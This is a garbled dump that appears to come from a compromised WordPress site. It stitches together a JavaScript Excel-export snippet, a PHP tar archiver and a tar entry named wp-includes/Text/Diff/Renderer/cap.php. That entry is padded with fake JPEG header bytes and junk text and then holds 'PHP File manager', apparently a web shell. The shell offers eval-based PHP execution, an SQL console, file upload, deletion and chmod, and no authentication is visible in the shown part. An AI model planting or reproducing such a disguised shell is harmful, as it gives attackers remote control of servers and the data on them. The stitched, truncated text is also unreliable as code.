		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
